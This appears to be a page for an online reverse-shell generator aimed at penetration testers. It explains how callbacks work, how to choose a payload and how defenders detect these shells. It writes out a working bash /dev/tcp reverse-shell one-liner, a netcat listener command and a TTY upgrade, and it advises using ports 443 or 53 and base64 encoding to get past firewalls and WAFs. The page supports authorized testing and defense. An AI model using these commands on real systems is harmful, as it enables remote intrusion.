Generate copy-ready reverse-shell one-liners for bash, netcat, python, perl, php, ruby and PowerShell — plus the matching listener command. Enter your listener host (LHOST) and port (LPORT), pick a shell, and paste the payload on a system you're authorized to test. Everything runs in your browser; nothing is sent to a server.
LHOST/LPORT, ports and how NAT complicates reverse-shell callbacks.
Where reverse shells fit in exploitation and post-exploitation.
A categorized reference of canonical SQL injection payloads for authorized testing and WAF/detection engineering.
A categorized reference of cross-site scripting payloads for authorized testing, filter evaluation, and detection.
Use responsibly — authorized testing only. Use this tool only on systems you own, a written engagement with a defined scope, or a lab or CTF you are allowed to attack. Keep that written permission next to your notes before you start. Unauthorized access is illegal in most jurisdictions — legal responsibility for what you run sits with you, not with this page. The tool is provided as-is, with no warranty.
A reverse shell has a target machine connect back to a listener you control, giving you an interactive shell across networks and NAT/firewalls that block inbound connections. It is a staple of authorized penetration testing and CTFs. Enter your listener's host (LHOST) and port (LPORT) and this tool fills them into one-liners for bash, netcat, python, perl, php, ruby, and PowerShell, plus the listener command to catch the connection.
How it works. First you start a listener — classically nc -lvnp PORT — on the host you control. Then you run one of the generated payloads on the target (through whatever command execution you have). The payload opens a TCP socket back to your LHOST:LPORT and wires the shell's stdin/stdout/stderr to it. Because the connection is outbound from the target, it often succeeds where a bind shell (listening on the target) would be blocked by ingress filtering.
Choosing a payload. Availability drives the choice: the bare bash -i >& /dev/tcp/... trick needs a bash built with /dev/tcp; nc -e needs the traditional netcat (many systems ship a version without -e, so the mkfifo variant is provided); python, perl, php, and ruby are common on servers; PowerShell suits Windows targets. Try several if the first is unavailable.
Practical notes. A raw reverse shell is often a "dumb" TTY — no job control, no tab completion, and Ctrl-C kills it. After landing, upgrade to a full PTY (the usual python -c 'import pty;pty.spawn("/bin/bash")' followed by stty raw -echo) for a stable session. If the shell dies instantly, the port may be filtered or the interpreter missing. Choosing the listener port strategically also matters: egress firewalls frequently allow outbound 443 or 53 while blocking arbitrary high ports, so a callback to 443 often succeeds where 4444 is dropped — though inspecting proxies may still reject non-TLS traffic on a TLS port. When nothing connects at all, confirm the listener is actually bound and reachable before assuming the payload failed.
Legal and defensive angle. Use this only on systems you own or are explicitly authorized to test — running a reverse shell on someone else's machine is a crime. From the defender's seat, the same knowledge is your detection map: alert on /dev/tcp usage, shells spawned by web-server or database processes, unexpected outbound connections to high ports, and interpreters (python/perl/php) making network sockets. Egress filtering, application allowlisting, and monitoring child processes of internet-facing services are what break this technique.
Usage notes (authorized testing). Generate a callback one-liner only for systems you own, a written engagement, or a lab/CTF you are allowed to attack; keep the scope and the written permission next to your listener notes before you start. A home lab (Kali VM, DVWA, intentionally vulnerable boxes) and an in-scope engagement host are fine — a random host on the internet is not. On an authorized test: confirm the target and the callback IP/port are in scope; start a listener on your attack host (nc -lvnp PORT or equivalent); enter that LHOST/LPORT here, pick a shell language that exists on the target, and copy the one-liner the tool produces (don't invent new payloads); deliver it only through an execution path you are already authorized to use on that host; and tear down the listener when the test window ends. For a portable Kali setup, see boot Kali from a Live USB; for lab network and SSH hardening on the attack box, see Kali configuration essentials. Updated October 18, 2026.
Detection & Defense. Treat a reverse shell as an outbound callback, not an inbound exploit. On the host, alert when a web server, database, or other internet-facing process spawns a shell (bash, sh, cmd.exe, powershell) or when interpreters (python, perl, php, ruby) open unexpected network sockets, and flag /dev/tcp usage and mkfifo + nc patterns in process trees. On the network, watch for unexpected egress to high ports and for long-lived interactive sessions from app tiers, and prefer allowlisted outbound destinations. The controls that actually break the technique are egress filtering, application allowlisting, and least privilege on the service account so a compromised app cannot open arbitrary sockets. This page does not add new payloads; it only documents how the generated one-liners behave and how defenders spot them.
On the host you control, run nc -lvnp 4444 (or a port likely to survive egress filtering — 443 or 53). This catches the inbound callback. Confirm it is bound and reachable before blaming the payload.
Pick a language you know is present: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 needs bash built with /dev/tcp; use the mkfifo netcat variant when nc -e is unavailable; python/perl/php/ruby suit servers; PowerShell suits Windows. Try several if the first is missing.
When the raw one-liner is mangled by a web app, WAF or shell quoting, Base64- or URL-encode it (e.g. echo <payload> | base64, decode with base64 -d | bash). Use our Base64 Encoder/Decoder and URL Encoder/Decoder.
After it lands, upgrade the dumb TTY to a full PTY: python3 -c 'import pty;pty.spawn("/bin/bash")', then background and run stty raw -echo locally for job control and tab completion.
Scripting listeners and the /dev/tcp technique.
Reverse shells in a capture-the-flag context.
Encode payloads past signature filters and WAFs.
URL-encode payloads for delivery through web apps.